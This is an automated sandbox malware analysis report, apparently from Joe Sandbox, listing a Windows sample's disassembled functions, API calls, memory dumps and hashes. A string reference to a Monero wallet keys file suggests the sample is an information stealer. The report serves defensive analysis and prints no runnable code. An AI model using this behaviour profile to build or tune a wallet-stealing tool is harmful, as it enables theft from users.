Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: a97452d9a7b07c7254e94435516108808eb1614e2c06186c41097f4ce207a538
Instruction ID: 51f6cad7bde4dd197c0c905b87248e7cacc955a6035f260fc872358747435d84
Opcode Fuzzy Hash: a97452d9a7b07c7254e94435516108808eb1614e2c06186c41097f4ce207a538
Instruction Fuzzy Hash: E631E5B4A00309EFDB14CF94D989FAE77B5BF48740F108158E915A7390D774AA42CFA1

Function 00AD4780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0178DD30), ref: 00AD47DB

Part of subcall function 00AD8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00AD8E0B

lstrcat.KERNEL32(?,00000000), ref: 00AD4801
lstrcat.KERNEL32(?,?), ref: 00AD4820
lstrcat.KERNEL32(?,?), ref: 00AD4834
lstrcat.KERNEL32(?,0177AFC8), ref: 00AD4847
lstrcat.KERNEL32(?,?), ref: 00AD485B
lstrcat.KERNEL32(?,0178D218), ref: 00AD486F

Part of subcall function 00ADA740: lstrcpy.KERNEL32(00AE0E17,00000000), ref: 00ADA788

Part of subcall function 00AD8D90: GetFileAttributesA.KERNEL32(00000000,?,00AC1B54,?,?,00AE564C,?,?,00AE0E1F), ref: 00AD8D9F

Part of subcall function 00AD4570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00AD4580
Part of subcall function 00AD4570: RtlAllocateHeap.NTDLL(00000000), ref: 00AD4587
Part of subcall function 00AD4570: wsprintfA.USER32 ref: 00AD45A6
Part of subcall function 00AD4570: FindFirstFileA.KERNEL32(?,?), ref: 00AD45BD

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 00e4869fb388843168592ddcdead29850705360e12421c782efc8fbd50701ab9
Instruction ID: d57ea8bac17e478bd678b32cb7700065146e5f2e5b4e847e1d298b0cd1b42356
Opcode Fuzzy Hash: 00e4869fb388843168592ddcdead29850705360e12421c782efc8fbd50701ab9
Instruction Fuzzy Hash: 313172B6900318A7CB10FBB0DD85FED737CAB58700F40459AB35A96281EE74D789CBA5

Function 00AD40B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,0178D0B8,00000000,00020119,?), ref: 00AD40F4
RegQueryValueExA.ADVAPI32(?,0178DDC0,00000000,00000000,00000000,000000FF), ref: 00AD4118
RegCloseKey.ADVAPI32(?), ref: 00AD4122
lstrcat.KERNEL32(?,00000000), ref: 00AD4147
lstrcat.KERNEL32(?,0178DDD8), ref: 00AD415B

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: 72c179435730af2a256c081b32a1d02bc97dd74771971fec7600b60624344d5e
Instruction ID: 2b1f1a52c4ddf509ea966868566e0ec63a9e24be5d5b52a06dbec3ac537d0acd
Opcode Fuzzy Hash: 72c179435730af2a256c081b32a1d02bc97dd74771971fec7600b60624344d5e
Instruction Fuzzy Hash: ED419E76D0030867DB14EBA4DD56FFE737DA748300F00455DB61A97281EE759B888BE2

Function 00AD7E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00AD7E37
RtlAllocateHeap.NTDLL(00000000), ref: 00AD7E3E
RegOpenKeyExA.KERNEL32(80000002,0177B968,00000000,00020119,?), ref: 00AD7E5E
RegQueryValueExA.KERNEL32(?,0178D078,00000000,00000000,000000FF,000000FF), ref: 00AD7E7F
RegCloseKey.ADVAPI32(?), ref: 00AD7E92

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 0333c11ea3d647a74ebbd97fca08d5f8b68a5483e1b01efcde6abcc13b55edec
Instruction ID: 4a04a33723a904f1ebc8e824fd6915d3137dd8c6af8605b88758b0fee6ac4a54
Opcode Fuzzy Hash: 0333c11ea3d647a74ebbd97fca08d5f8b68a5483e1b01efcde6abcc13b55edec
Instruction Fuzzy Hash: 29111FB1A44305EBD714CB99DD49FBFBBB8EB44710F10815AF61AE7380DB7459008BA2

Function 00AC12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00AC12B4
RtlAllocateHeap.NTDLL(00000000), ref: 00AC12BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00AC12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00AC12F5
RegCloseKey.ADVAPI32(?), ref: 00AC12FF

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 17d09d8b8d61a7404814d108d0819d7c811311ac6c6bbb1b4af8d4e7b0b446f0
Instruction ID: 389f942dbe3cce380ab584270917ad4606a243e455b34252095b81e5afc34292
Opcode Fuzzy Hash: 17d09d8b8d61a7404814d108d0819d7c811311ac6c6bbb1b4af8d4e7b0b446f0
Instruction Fuzzy Hash: 6F01E1B9A40308BBDB04DFE4DC59FAEB7B8EB48701F108159FA09D7280D6759A018FA1

Function 00ACA0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(01788A20,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 00ACA0BD
LoadLibraryA.KERNEL32(0178D238), ref: 00ACA146

Part of subcall function 00ADA740: lstrcpy.KERNEL32(00AE0E17,00000000), ref: 00ADA788

Part of subcall function 00ADA820: lstrlen.KERNEL32(00AC4F05,?,?,00AC4F05,00AE0DDE), ref: 00ADA82B
Part of subcall function 00ADA820: lstrcpy.KERNEL32(00AE0DDE,00000000), ref: 00ADA885

Part of subcall function 00ADA9B0: lstrlen.KERNEL32(?,017889E0,?,\Monero\wallet.keys,00AE0E17), ref: 00ADA9C5
Part of subcall function 00ADA9B0: lstrcpy.KERNEL32(00000000), ref: 00ADAA04
Part of subcall function 00ADA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00ADAA12

Part of subcall function 00ADA920: lstrcpy.KERNEL32(00000000,?), ref: 00ADA972
Part of subcall function 00ADA920: lstrcat.KERNEL32(00000000), ref: 00ADA982

Part of subcall function 00ADA8A0: lstrcpy.KERNEL32(?,00AE0E17), ref: 00ADA905

SetEnvironmentVariableA.KERNEL32(01788A20,00000000,00000000,?,00AE12D8,?,?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00AE0AFE), ref: 00ACA132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 00ACA0B2, 00ACA0C6, 00ACA0DC

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-1843082770
Opcode ID: 91458d0998907c91fda8c55b53c33077690fd0592bfd596ad694e18b82799ce0
Instruction ID: a3394a79637f37057294d861440c7005426935f61cdf4246bf5237d8140f03d1
Opcode Fuzzy Hash: 91458d0998907c91fda8c55b53c33077690fd0592bfd596ad694e18b82799ce0
Instruction Fuzzy Hash: AF4115B1901704AFCB04DFA8ED85BEE33B8BB29305F590129E50AD33A0DB765944CB72

Function 6CBB3060 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CBB3095

Part of subcall function 6CBB35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CC3F688,00001000), ref: 6CBB35D5
Part of subcall function 6CBB35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CBB35E0
Part of subcall function 6CBB35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CBB35FD
Part of subcall function 6CBB35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CBB363F
Part of subcall function 6CBB35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CBB369F
Part of subcall function 6CBB35A0: __aulldiv.LIBCMT ref: 6CBB36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CBB309F

Part of subcall function 6CBD5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CBD56EE,?,00000001), ref: 6CBD5B85
Part of subcall function 6CBD5B50: EnterCriticalSection.KERNEL32(6CC3F688,?,?,?,6CBD56EE,?,00000001), ref: 6CBD5B90
Part of subcall function 6CBD5B50: LeaveCriticalSection.KERNEL32(6CC3F688,?,?,?,6CBD56EE,?,00000001), ref: 6CBD5BD8
Part of subcall function 6CBD5B50: GetTickCount64.KERNEL32 ref: 6CBD5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CBB30BE

Part of subcall function 6CBB30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CBB3127
Part of subcall function 6CBB30F0: __aulldiv.LIBCMT ref: 6CBB3140

Part of subcall function 6CBEAB2A: __onexit.LIBCMT ref: 6CBEAB30

Strings

7S+Y/, xrefs: 6CBB306A

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID: 7S+Y/
API String ID: 4291168024-4163584386
Opcode ID: 2d0d45d62c9d63e60b07ff672c9456c500aaefc4af5710397530c7ccc2832ef9
Instruction ID: 736079b801b725dab4ec245e7a200ca9bc693cedc02f4243bf7910d6e56da131
Opcode Fuzzy Hash: 2d0d45d62c9d63e60b07ff672c9456c500aaefc4af5710397530c7ccc2832ef9
Instruction Fuzzy Hash: B1F0F932F20B849BCA20DF74A9411EA7774AF6B114F502B1AE88C63521FF30A5D88395

Function 00ACA260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00ADA740: lstrcpy.KERNEL32(00AE0E17,00000000), ref: 00ADA788

Part of subcall function 00ADA9B0: lstrlen.KERNEL32(?,017889E0,?,\Monero\wallet.keys,00AE0E17), ref: 00ADA9C5
Part of subcall function 00ADA9B0: lstrcpy.KERNEL32(00000000), ref: 00ADAA04
Part of subcall function 00ADA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00ADAA12

Part of subcall function 00ADA8A0: lstrcpy.KERNEL32(?,00AE0E17), ref: 00ADA905

Part of subcall function 00AD8B60: GetSystemTime.KERNEL32(00AE0E1A,01789DE8,00AE05AE,?,?,00AC13F9,?,0000001A,00AE0E1A,00000000,?,017889E0,?,\Monero\wallet.keys,00AE0E17), ref: 00AD8B86

Part of subcall function 00ADA920: lstrcpy.KERNEL32(00000000,?), ref: 00ADA972
Part of subcall function 00ADA920: lstrcat.KERNEL32(00000000), ref: 00ADA982

